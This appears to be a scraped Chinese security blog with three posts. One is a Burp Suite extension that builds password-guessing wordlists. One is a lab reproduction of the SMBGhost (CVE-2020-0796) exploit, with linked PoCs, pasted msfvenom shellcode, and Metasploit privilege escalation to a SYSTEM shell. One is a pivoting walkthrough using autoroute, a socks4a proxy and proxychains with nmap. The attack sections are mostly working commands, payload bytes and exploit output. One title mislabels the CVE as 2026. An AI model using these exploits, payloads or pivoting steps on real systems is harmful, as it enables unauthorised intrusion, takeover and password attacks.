敲写代码之前，我们可以先看下脚本需要用到的类：\nIContextMenuFactory：此模块用来拓展右键菜单功能首先使用registerContextMenuFactory()方法注册菜单拓展，然后建立createMenuItem()方法创建菜单，使用add()函数，配合JmenuItem()方法设置菜单信息，在此方法内定义actionPerformed参数设置行动函数。\npackage burp; /* * @(#)IContextMenuFactory.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; import javax.swing.JMenuItem; /** * Extensions can implement this interface and then call * \u0026lt;code\u0026gt;IBurpExtenderCallbacks.registerContextMenuFactory()\u0026lt;/code\u0026gt; to register * a factory for custom context menu items. */ public interface IContextMenuFactory { /** * This method will be called by Burp when the user invokes a context menu * anywhere within Burp. The factory can then provide any custom context * menu items that should be displayed in the context menu, based on the * details of the menu invocation. * * @param invocation An object that implements the * \u0026lt;code\u0026gt;IMessageEditorTabFactory\u0026lt;/code\u0026gt; interface, which the extension can * query to obtain details of the context menu invocation. * @return A list of custom menu items (which may include sub-menus, * checkbox menu items, etc.) that should be displayed. Extensions may * return * \u0026lt;code\u0026gt;null\u0026lt;/code\u0026gt; from this method, to indicate that no menu items are * required. */ List\u0026lt;JMenuItem\u0026gt; createMenuItems(IContextMenuInvocation invocation); } 简单了解了Burp的各种API后，我们开始编写我们的代码：\n# 导入相应的模块 from burp import IBurpExtender from burp import IContextMenuFactory from javax.swing import JMenuItem from java.util import List, ArrayList from java.net import URL import re from datetime import datetime from HTMLParser import HTMLParser class TagStripper(HTMLParser): def __init__(self): # 初始化函数 HTMLParser.__init__(self) self.page_text = [] # 获得标签之间的字符串 def handle_data(self, data): self.page_text.append(data) # 获得页面中的注释 def handle_comment(self, data): self.handle_data(data) def strip(self, html): # 接受一个字符串类型的html内容，进行解析 self.feed(html) # 返回最后的字符串，每个字符串以空格相隔 return \u0026#34; \u0026#34;.join(self.page_text) class BurpExtender(IBurpExtender, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() self.context = None # 使用set()函数防止重复 self.hosts = set() # 初始化字典集合，默认增加‘password’ self.wordlist = set([\u0026#39;password\u0026#39;]) # 模块命名与注册 callbacks.setExtensionName(\u0026#34;BHP Wordlist\u0026#34;) callbacks.registerContextMenuFactory(self) return # 创建菜单，返回菜单列表 def createMenuItems(self, context_menu): self.context = context_menu menu_list = ArrayList() menu_list.add(JMenuItem(\u0026#34;Create Wordlist\u0026#34;, actionPerformed=self.wordlist_menu)) return menu_list # 行动函数 def wordlist_menu(self, event): # 获取用户点击的详情信息 http_traffic = self.context.getSelectedMessages() for traffic in http_traffic: # 获得http服务对象 http_service = traffic.getHttpService() # 得到http中host属性 host = http_service.getHost() # 添加到集合中 self.hosts.add(host) # 获取响应信息 http_response = traffic.getResponse() # 在响应信息存在的情况下使用自定义的get_words()函数获取页面信息生成字典 if http_response: self.get_words(http_response) # 将最后的结果利用此函数回显出来 self.display_wordlist() # 生成密码 def get_words(self, http_response): # 将响应使用tostring函数转换为字符串，并使用split()函数以两个换行为条件分割一次 # 这里是将响应头信息与响应体进行分割 headers, body = http_response.tostring().split(\u0026#39;\\r\\n\\r\\n\u0026#39;, 1) # 将响应头在不区分大小写的情况下找到指定字符串 # find(str, beg, end=)包含字符串返回相应索引，否则返回-1 # 忽略下一个相应 if headers.lower().find(\u0026#34;content-type: text\u0026#34;) == -1: return # 实例化对象 tag_stripper = TagStripper() # 将body带入类进行解析 page_text = tag_stripper.strip(body) # 找到所有以字母开头后跟着两个及以上单词的字符串 words = re.findall(\u0026#34;[a-zA-Z]\\w{2,}\u0026#34;, page_text) # 遍历加入集合 for word in words: # 过滤超长字符串 if len(word) \u0026lt;= 12: self.wordlist.add(word.lower()) # 将一些常见关键字与密码组合 def mangle(self, word): year = datetime.now().year suffixes = [\u0026#34;\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;!\u0026#34;, year] mangled = [] for password in (word, word.capitalize()): for suffix in suffixes: mangled.append(\u0026#34;%s%s\u0026#34; % (password, suffix)) return mangled # 遍历打印所有生成密码 def display_wordlist(self): print \u0026#34;#!comment: BHP Wordlist for site(s) %s\u0026#34; % \u0026#34;, \u0026#34;.join(self.hosts) # sorted()函数，将列表里的所有元素进行排序 for word in sorted(self.wordlist): for password in self.mangle(word): print password return 代码敲写完毕，开始运用以下我们的代码\n","date":"2020-12-27","externalUrl":null,"permalink":"/posts/%E7%AC%AC%E5%85%AD%E7%AB%A0-%E6%89%A9%E5%B1%95burp%E4%BB%A3%E7%90%86/","section":"文章","summary":"第六章 扩展Burp代理 # 这一章的学习，个人感觉比前面几章稍微有难度一些，虽然过程挺艰苦的，但还算是勉强做出来了吧：）\n这一章节的内容，因为jython对python3的兼容性不乐观，所以我们将使用python2编写代码。\nJython？ # Jython是一种完整的语言，而不是一个Java翻译器或仅仅是一个Python编译器，它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言，它提供了对其实现语言的一切存取。所以Jython不仅给你提供了Python的库，同时也提供了所有的Java类。这使其有一个巨大的资源库。\n","title":"《Python黑帽子》python3代码实现(第六章)","type":"posts"},{"content":"","date":"2020-12-27","externalUrl":null,"permalink":"/tags/python/","section":"标签","summary":"","title":"Python","type":"tags"},{"content":"","date":"2020-12-27","externalUrl":null,"permalink":"/series/","section":"系列","summary":"","title":"系列","type":"series"},{"content":"即17年永恒之蓝后，又爆出永恒之黑，445不愧是安全工程师的噩梦。\n漏洞简介 # Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Server Message Block是其中的一个服务器信息传输协议。\nMicrosoft Server Message Block 3.1.1 (SMBv3)版本中存在输入验证错误漏洞，该漏洞源于SMBv3协议在处理恶意压缩数据包时，进入了错误流程。远程未经身份验证的攻击者可利用该漏洞在应用程序中执行任意代码。以下产品及版本受到影响：Microsoft Windows 10版本1903，Windows Server版本1903，Windows 10版本1909，Windows Server版本1909。\n受影响版本 # Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)\n实践 # 所需工具与镜像下载地址：\nwin10：ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/\nCVE-2020-0796代码执行/POC：http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip\nCVE-2020-0796代码执行/EXP：https://github.com/chompie1337/SMBGhost_RCE_PoC\nCVE-2020-0796蓝屏攻击/EXP：https://github.com/eerykitty/CVE-2020-0796-PoC\nCVE-2020-0796本地提权/EXP：https://github.com/danigargu/CVE-2020-0796\n环境的搭建： # kali 192.168.142.19 Win10 192.168.142.61 windows版本信息（记得关闭防火墙）：\n所需软件：\n蓝屏攻击： # 这里使用刚刚下载的EXP进行攻击：\n对win10系统进行攻击：\n//安装依赖库 python3 setup.py install //运行程序 python3 CVE-2020-0796.py 192.168.142.61 本地提权： # 这里的本地提权可以使用msf自带模块进行操作，这里就通过msf进行测试，GitHub上的程序就不测试了：\nmsf6 exploit(multi/handler) \u0026gt; set lhost 192.168.142.19 lhost =\u0026gt; 192.168.142.19 msf6 exploit(multi/handler) \u0026gt; exploit [*] Started reverse TCP handler on 192.168.142.19:4444 [*] Sending stage (200262 bytes) to 192.168.142.61 [*] Meterpreter session 2 opened (192.168.142.19:4444 -\u0026gt; 192.168.142.61:51757) at 2020-11-08 15:28:20 +0800 meterpreter \u0026gt; meterpreter \u0026gt; getuid Server username: DESKTOP-RL1VAD8\\wy meterpreter \u0026gt; background msf6 exploit(multi/handler) \u0026gt; search cve_2020 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/sap/cve_2020_6287_ws_add_user 2020-07-14 normal Yes SAP Unauthenticated WebService User Creation 1 exploit/linux/misc/cve_2020_13160_anydesk 2020-06-16 normal Yes AnyDesk GUI Format String Write 2 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability 3 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move 2020-03-10 excellent Yes Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability 4 exploit/windows/local/cve_2020_0796_smbghost 2020-03-13 good Yes SMBv3 Compression Buffer Overflow Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/cve_2020_0796_smbghost msf6 exploit(multi/handler) \u0026gt; use 4 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2020_0796_smbghost) \u0026gt; show options Module options (exploit/windows/local/cve_2020_0796_smbghost): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: \u0026#39;\u0026#39;, seh, thread, process, none) LHOST 192.168.142.19 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 10 v1903-1909 x64 msf6 exploit(windows/local/cve_2020_0796_smbghost) \u0026gt; set session 2 session =\u0026gt; 2 msf6 exploit(windows/local/cve_2020_0796_smbghost) \u0026gt; check [*] The target appears to be vulnerable. msf6 exploit(windows/local/cve_2020_0796_smbghost) \u0026gt; exploit [*] Started reverse TCP handler on 192.168.142.19:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. [*] Launching notepad to host the exploit... [+] Process 908 launched. [*] Reflectively injecting the exploit DLL into 908... [*] Injecting exploit into 908... [*] Exploit injected. Injecting payload into 908... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (200262 bytes) to 192.168.142.61 [*] Meterpreter session 3 opened (192.168.142.19:4444 -\u0026gt; 192.168.142.61:52288) at 2020-11-08 15:29:49 +0800 meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM meterpreter \u0026gt; background msf6 exploit(windows/local/cve_2020_0796_smbghost) \u0026gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/windows DESKTOP-RL1VAD8\\wy @ DESKTOP-RL1VAD8 192.168.142.19:4444 -\u0026gt; 192.168.142.61:51757 (192.168.142.61) 3 meterpreter x64/windows NT AUTHORITY\\SYSTEM @ DESKTOP-RL1VAD8 192.168.142.19:4444 -\u0026gt; 192.168.142.61:52288 (192.168.142.61) 代码执行： # 首先使用奇安信POC进行漏洞测试：\n下载并解压对应exp：\nroot@kali:~/SMBGhost_RCE_PoC-master# ll 总用量 56 -rwxrw-rw- 1 root root 19598 11月 8 10:42 exploit.py -rwxrw-rw- 1 root root 8221 7月 3 02:49 kernel_shellcode.asm -rwxrw-rw- 1 root root 4621 7月 3 02:49 lznt1.py drwxr-xr-x 2 root root 4096 11月 8 10:45 __pycache__ -rwxrw-rw- 1 root root 1531 7月 3 02:49 README.md -rwxrw-rw- 1 root root 5604 7月 3 02:49 smb_win.py root@kali:~/SMBGhost_RCE_PoC-master# 使用EXP进行攻击，首先使用msfvenom生成payload：\nmsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b \u0026#39;\\x00\u0026#39; -i 1 -f python 之后我们会得到类似于以下的数据：\nbuf = b\u0026#34;\u0026#34;\rbuf += b\u0026#34;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc2\\xff\\xff\\xff\\x48\\x8d\\x05\u0026#34;\rbuf += b\u0026#34;\\xef\\xff\\xff\\xff\\x48\\xbb\\x15\\xa5\\x3f\\x35\\x7f\\x5f\\x38\u0026#34;\rbuf += b\u0026#34;\\x9b\\x48\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\u0026#34;\rbuf += b\u0026#34;\\xe9\\xed\\xbe\\xd1\\x8f\\xa0\\xc7\\x64\\xfd\\x69\\x3f\\x35\\x7f\u0026#34;\rbuf += b\u0026#34;\\x1e\\x69\\xda\\x45\\xf7\\x6e\\x63\\x37\\x6e\\xea\\xfe\\x5d\\x2e\u0026#34;\rbuf += b\u0026#34;\\x6d\\x55\\x37\\xd4\\x6a\\x83\\x5d\\x2e\\x6d\\x15\\x32\\x6e\\xf1\u0026#34;\rbuf += b\u0026#34;\\xd3\\x1a\\x12\\x75\\x7f\\x37\\xd4\\x4a\\xcb\\x5d\\x94\\xff\\x99\u0026#34;\rbuf += b\u0026#34;\\x43\\x3e\\x44\\x99\\x39\\x85\\x7e\\xf4\\xb6\\x52\\x79\\x9a\\xd4\u0026#34;\rbuf += b\u0026#34;\\x47\\xd2\\x67\\x3e\\x0e\\x70\\x10\\x47\\x85\\xb4\\x77\\x43\\x17\u0026#34;\rbuf += b\u0026#34;\\x39\\x4b\\x73\\x24\\x47\\x2d\\x74\\x5d\\x37\\x1e\\x67\\xa5\\x3f\u0026#34;\rbuf += b\u0026#34;\\x35\\xf4\\xdf\\xb0\\x9b\\x15\\xa5\\x77\\xb0\\xbf\\x2b\\x5f\\xd3\u0026#34;\rbuf += b\u0026#34;\\x14\\x75\\x6f\\xbe\\x37\\x47\\x7c\\x10\\x55\\x85\\x76\\x34\\xaf\u0026#34;\rbuf += b\u0026#34;\\xbc\\x6e\\xd3\\xea\\x6c\\x7e\\xbe\\x4b\\xd7\\x70\\x9a\\xc3\\xe8\u0026#34;\rbuf += b\u0026#34;\\x0e\\xfc\\x37\\x6e\\xf8\\x37\\x54\\x64\\xf6\\x38\\x3e\\x5e\\xf9\u0026#34;\rbuf += b\u0026#34;\\xa3\\xf5\\xd0\\xce\\x79\\x7c\\x13\\x1c\\x93\\x50\\x9c\\xee\\x40\u0026#34;\rbuf += b\u0026#34;\\xa7\\x07\\x7c\\x10\\x55\\x81\\x76\\x34\\xaf\\x39\\x79\\x10\\x19\u0026#34;\rbuf += b\u0026#34;\\xed\\x7b\\xbe\\x3f\\x43\\x71\\x9a\\xc5\\xe4\\xb4\\x31\\xf7\\x17\u0026#34;\rbuf += b\u0026#34;\\x39\\x4b\\x54\\xfd\\x7e\\x6d\\x21\\x06\\x62\\xda\\x4d\\xe4\\x66\u0026#34;\rbuf += b\u0026#34;\\x74\\x25\\x17\\xbb\\x77\\x35\\xe4\\x6d\\xca\\x9f\\x07\\x79\\xc2\u0026#34;\rbuf += b\u0026#34;\\x4f\\xed\\xb4\\x27\\x96\\x14\\xc7\\x64\\xea\\xf8\\x76\\x8b\\x08\u0026#34;\rbuf += b\u0026#34;\\x2c\\x0a\\xc4\\x26\\x97\\x3f\\x35\\x3e\\x09\\x71\\x12\\xf3\\xed\u0026#34;\rbuf += b\u0026#34;\\xbe\\xd9\\xdf\\x5e\\x38\\x9b\\x5c\\x2c\\xda\\x7d\\x4e\\x9f\\x68\u0026#34;\rbuf += b\u0026#34;\\xcb\\x5c\\x62\\xfb\\x37\\x7f\\x4e\\x64\\xda\\x41\\xec\\xb6\\xd1\u0026#34;\rbuf += b\u0026#34;\\x33\\xd6\\xc9\\xda\\xaf\\xe9\\x48\\x13\\x78\\xa0\\xed\\xd7\\x9c\u0026#34;\rbuf += b\u0026#34;\\x4f\\x57\\x34\\x7e\\x5f\\x38\\xc2\\x54\\x1f\\x16\\xb5\\x14\\x5f\u0026#34;\rbuf += b\u0026#34;\\xc7\\x4e\\x7f\\xa7\\x66\\x65\\x2f\\x12\\x09\\x52\\x58\\x94\\xff\u0026#34;\rbuf += b\u0026#34;\\x7d\\x80\\x9f\\x70\\x12\\xd7\\xe4\\x85\\xdf\\x70\\x80\\xd8\\x64\u0026#34;\rbuf += b\u0026#34;\\xc0\\xed\\xb6\\xf2\\x15\\x4f\\x79\\xc3\\x59\\x2c\\xdd\\x7d\\xf6\u0026#34;\rbuf += b\u0026#34;\\xa6\\x79\\x21\\xd7\\x7e\\x08\\x52\\x80\\x8a\\x70\\xaa\\xc7\\xed\u0026#34;\rbuf += b\u0026#34;\\xb6\\xcc\\x3e\\xe5\\x8f\\x72\\x2d\\x5a\\xc0\\xe0\\x32\\x6e\\xf8\u0026#34;\rbuf += b\u0026#34;\\xd3\\x24\\x77\\x77\\xbc\\x86\\x1e\\x82\\xef\\xf9\\x9e\\xde\\xca\u0026#34;\rbuf += b\u0026#34;\\xaa\\x17\\xb1\\x62\\x5d\\x2c\\xf8\\x74\\xc5\\x2a\\x56\\xd6\\x74\u0026#34;\rbuf += b\u0026#34;\\x5a\\xea\\x7d\\xfe\\x9b\\x88\\x99\\x15\\xa5\\x77\\xb6\\x93\\x4f\u0026#34;\rbuf += b\u0026#34;\\x70\\x12\\xf7\\xe8\\x0e\\xfc\\x15\\x5b\\x79\\xc3\\x5d\\x2c\\xc6\u0026#34;\rbuf += b\u0026#34;\\x74\\xc5\\x5d\\xe1\\x53\\x4a\\x5a\\xea\\x7d\\xfc\\x9b\\x18\\xc5\u0026#34;\rbuf += b\u0026#34;\\x9c\\x53\\x55\\x75\\x3e\\x06\\x50\\x9b\\x05\\xa5\\x3f\\x74\\x27\u0026#34;\rbuf += b\u0026#34;\\x17\\xb1\\x69\\x5d\\x94\\xf6\\x74\\xc5\\x07\\x9c\\xc8\\xf0\\x5a\u0026#34;\rbuf += b\u0026#34;\\xea\\x7d\\xf6\\x9c\\x71\\x12\\xd2\\xe8\\x0e\\xfc\\x36\\xd6\\xc8\u0026#34;\rbuf += b\u0026#34;\\xd3\\x9c\\x7f\\x77\\xbc\\x86\\x1e\\x82\\x99\\xcc\\x6d\\x60\\xca\u0026#34;\rbuf += b\u0026#34;\\xaa\\x17\\x39\\x58\\x5d\\x8c\\xf9\\x7d\\xfa\\xa9\\x4d\\x7a\\x54\u0026#34;\rbuf += b\u0026#34;\\x5a\\xd8\\x6d\\x15\\x5f\\x61\\xd2\\xd2\\x67\\xcf\\x80\\xdd\\x09\u0026#34;\rbuf += b\u0026#34;\\xc7\\x4e\u0026#34; 在exploit.py文件中的USER_PAYLOAD更改为以上内容：\n首先删除原USER_PAYLOAD数据：\n将刚刚生成的payload数据粘贴进去\n使用:90,135s/buf/USER_PAYLOAD/g将90行至135行中所有buf更改为USER_PAYLOAD:\n使用exploit/multi/handler模块开启监听\nmsf6 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) \u0026gt; set payload windows/x64/meterpreter/bind_tcp payload =\u0026gt; windows/x64/meterpreter/bind_tcp msf6 exploit(multi/handler) \u0026gt; set rhost 192.168.142.61 rhost =\u0026gt; 192.168.142.61 msf6 exploit(multi/handler) \u0026gt; show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: \u0026#39;\u0026#39;, seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.142.61 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) \u0026gt; exploit [*] Started bind TCP handler against 192.168.142.61:4444 然后使用exp对服务器进行攻击：\nroot@kali:~/SMBGhost_RCE_PoC-master# python3 exploit.py -ip 192.168.142.61 [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff7f540000000 [+] found PML4 self-ref entry 10d [+] found HalpInterruptController at fffff7f540001478 [+] found HalpApicRequestInterrupt at fffff80216ab3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at ffff86fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000950! [+] Press a key to execute shellcode! 到达以上这一步需要回车，然后就会弹出shell了：\n特此声明： # 此文章仅供学术交流，请勿用于任何非法用途。\n","date":"2020-11-08","externalUrl":null,"permalink":"/posts/cve2020-0796/","section":"文章","summary":"即17年永恒之蓝后，又爆出永恒之黑，445不愧是安全工程师的噩梦。\n漏洞简介 # Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Server Message Block是其中的一个服务器信息传输协议。\nMicrosoft Server Message Block 3.1.1 (SMBv3)版本中存在输入验证错误漏洞，该漏洞源于SMBv3协议在处理恶意压缩数据包时，进入了错误流程。远程未经身份验证的攻击者可利用该漏洞在应用程序中执行任意代码。以下产品及版本受到影响：Microsoft Windows 10版本1903，Windows Server版本1903，Windows 10版本1909，Windows Server版本1909。\n","title":"CVE-2026-0796漏洞复现","type":"posts"},{"content":"本文转载自https://www.freebuf.com/articles/network/125278.html\n本文实操部分均为本人复现\n纵深防御也被被称之为“多层防御”，这样的概念被运用于“信息安全”上。以多层电脑安全技术去减轻其风险，在其中有些电脑被入侵或是泄密时，风险可以大大降低。举例来说，防毒软件被安装于个人工作站上，电脑中病毒在防火墙与服务器等其它类似环境中被拦劫下来。在信息技术世界中占据着举足轻重的地位。本文我们将通过示例分析攻击者是如何运用各种方法进行网络穿透的。\n何谓路由 # 确定设备如何在不同网络之间相互传输的过程，也即通过互联的网络把信息从源地址传输到目的地址的活动被称之为路由。通常用于执行路由活动的设备被称为路由器。通过使用路由表，路由器则规划网络包到各自目的地的线路。路由的功能不仅仅是诸如路由器等网络设备能够完成，在安装有该功能的任意计算机系统也能够完成。\n根据上图例子所示，为了在192.168.1.0/24与192.168.10.0/24网络之间进行通信是需要一个路由表记录的。根据路由器中的规则定义，数据需要从192.168.1.0/24源网络发到192.168.10.0/24目的网络中去。网络数据包大概会经历如下过程：\n要访问的IP地址是否就在本地网络？\n是否到达目的地 否则发送到网关 路由器接收到数据包就会查看其路由表\n是否存在目标IP地址或者目标网络的路由规则？ 存在则将数据包发送给目标 不存在则发送至网关 在其他路由器上重复以上过程\n数据包最后到达负责互联网出口的路由器，之后被发送到互联网中\n何谓Pivoting # 基本上可以概括为，在正常情况下仅仅只是通过利用被控制的计算机我们可能依旧无法进行网络访问。假设一台被控制的计算机连接有多个网络，将其作为我们的跳板，那么网络隔离的手段对我们来说就形同虚设。跟着这个思路，攻击者在被控制的跳板主机上执行路由操作，进而访问隐藏的网络。对新发现网络发起的每个请求都会通过中间的双网卡跳板传输，形象化一点说来就像是洞子一般。\n就如上面所示的拓扑图，设备有两张网卡可访问192.168.1.0/24以及192.168.10.0/24两个网络。在正常情况下，这两个网络之间是不能相互访问的，除非有定义路由规则。根据该结构，授权用户（使用两张网卡的计算机）可访问DMZ区内的一些服务。\n拿下第一层双网卡中转跳板及端口转发 # 根据我们的攻击场景，先拿下命名为RD的主机然后获取到的meterpreter shell，RD能连接到DMZ网络。随后，在信息收集过程中确定了目标有两张网卡。注意：环境中的路由器在两个网络之间并没有联通。\n本人环境与原文不同，这里略作更改，网卡模式均为仅主机模式。\n系统 网卡 所处网段 KALI(ATTACKER) VMnet1 192.168.177.0/24 WIN 2008 R2(RD) VMnet1,VMnet2 192.168.127.0/24,192.168.177.0/24 WIN 7 VMnet2,VMnet3 192.168.127.0/24,192.168.211.0/24 WIN XP VMnet3 192.168.211.0/24 msf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload windows/meterpreter/reverse_tcp payload =\u0026gt; windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; set lhost 192.168.177.131 lhost =\u0026gt; 192.168.177.131 msf5 exploit(multi/handler) \u0026gt; set lport 1234 lport =\u0026gt; 1234 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.177.131:1234 [*] Sending stage (176195 bytes) to 192.168.177.134 [*] Meterpreter session 1 opened (192.168.177.131:1234 -\u0026gt; 192.168.177.134:49449) at 2020-11-06 14:52:41 +0800 meterpreter \u0026gt; run get_local_subnets [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Local subnet: 192.168.127.0/255.255.255.0 Local subnet: 192.168.177.0/255.255.255.0 在我们设计的这个场景中，获得RD系统访问权限的攻击者将会使用第二张网卡(192.168.127.0/24\u0026ndash;\u0026gt;通过run get_local_subnets得到子网网段)访问网络。在执行这项操作之前，攻击者必须先在RD中定义路由规则。\n在Metasploit中可以轻松完成这项任务，在当前meterpreter会话下键入以下命令可创建路由规则：\nmeterpreter \u0026gt; run autoroute -s 192.168.127.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.127.0/255.255.255.0... [+] Added route to 192.168.127.0/255.255.255.0 via 192.168.177.134 [*] Use the -p option to list all active routes meterpreter \u0026gt; run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.127.0 255.255.255.0 Session 1 meterpreter \u0026gt; 根据定义的路由规则，只要meterpreter ID值为2的会话在运行，那么在Metasploit框架中就可以访问192.168.127.0/24网络。 这一步骤之后，使用类似arp_scanner的端口模块就能检测到JC系统的IP地址。JC为192.168.127.0内网中的另一台计算机。\nmeterpreter \u0026gt; run post/windows/gather/arp_scanner RHOSTS=192.168.127.0/24 [*] Running module against WIN-FVEF7SF4TF5 [*] ARP Scanning 192.168.127.0/24 [+] IP: 192.168.127.1 MAC 00:50:56:c0:00:02 (VMware, Inc.) [+] IP: 192.168.127.128 MAC 00:0c:29:45:03:b3 (VMware, Inc.) [+] IP: 192.168.127.130 MAC 00:0c:29:49:ab:37 (VMware, Inc.) [+] IP: 192.168.127.255 MAC 00:0c:29:45:03:b3 (VMware, Inc.) [+] IP: 192.168.127.254 MAC 00:50:56:e6:c3:b6 (VMware, Inc.) meterpreter \u0026gt; 在192.168.127.0/24网络中存活系统的IP地址，包括命名为JC的系统主机，都已经检测到了。\n这里为我win7系统，IP：192.168.127.130\n自然而然的，我们想到了以下问题：诸如arp_scanner的端口模块对这类扫描工作可能存在着不足之处，那么nmap风格的扫描工具是否能登场呢？\n通过中转跳转板进行Nmap扫描 # 对此必须在Metasploit中激活路由配置，并且该配置必须能够通过socks4代理进行转发。这里有一个metasploit模块刚好满足以上需求。\n使用metasploit的socks4代理模块：\nmeterpreter \u0026gt; background [*] Backgrounding session 1... msf5 exploit(multi/handler) \u0026gt; use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) \u0026gt; show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy Run SOCKS4a proxy msf5 auxiliary(server/socks4a) \u0026gt; set srvhost 192.168.177.131 srvhost =\u0026gt; 192.168.177.131 msf5 auxiliary(server/socks4a) \u0026gt; run [*] Auxiliary module running as background job 0. [*] Starting the socks4a proxy server msf5 auxiliary(server/socks4a) \u0026gt; netstat -antp [*] exec: netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 192.168.177.131:1080 0.0.0.0:* LISTEN 4540/ruby tcp 0 0 192.168.177.131:1234 192.168.177.134:49449 ESTABLISHED 4540/ruby ProxyChains是为GNU\\Linux操作系统而开发的工具，任何TCP连接都可以通过TOR或者SOCKS4, SOCKS5, HTTP / HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提供匿名方式，诸如用于中转跳板的应用程序也可以用于对发现的新网络进行直接通信。\n用文本编辑器打开/etc/proxychains.conf，在文件的最后一行添加新创建的socks4代理服务器\n[ProxyList] # add proxy here ... # meanwile # defaults set to \u0026#34;tor\u0026#34; #socks4\t127.0.0.1 9050 socks4 192.168.177.131 1080 使用proxychains执行nmap扫描任务非常简单，网络数据包将会通过定义的代理发送到目的地。\nroot@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms17-010.nse 192.168.127.130 ProxyChains-3.1 (http://proxychains.sf.net) Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-06 15:19 CST |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:135-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:139-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:445-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK 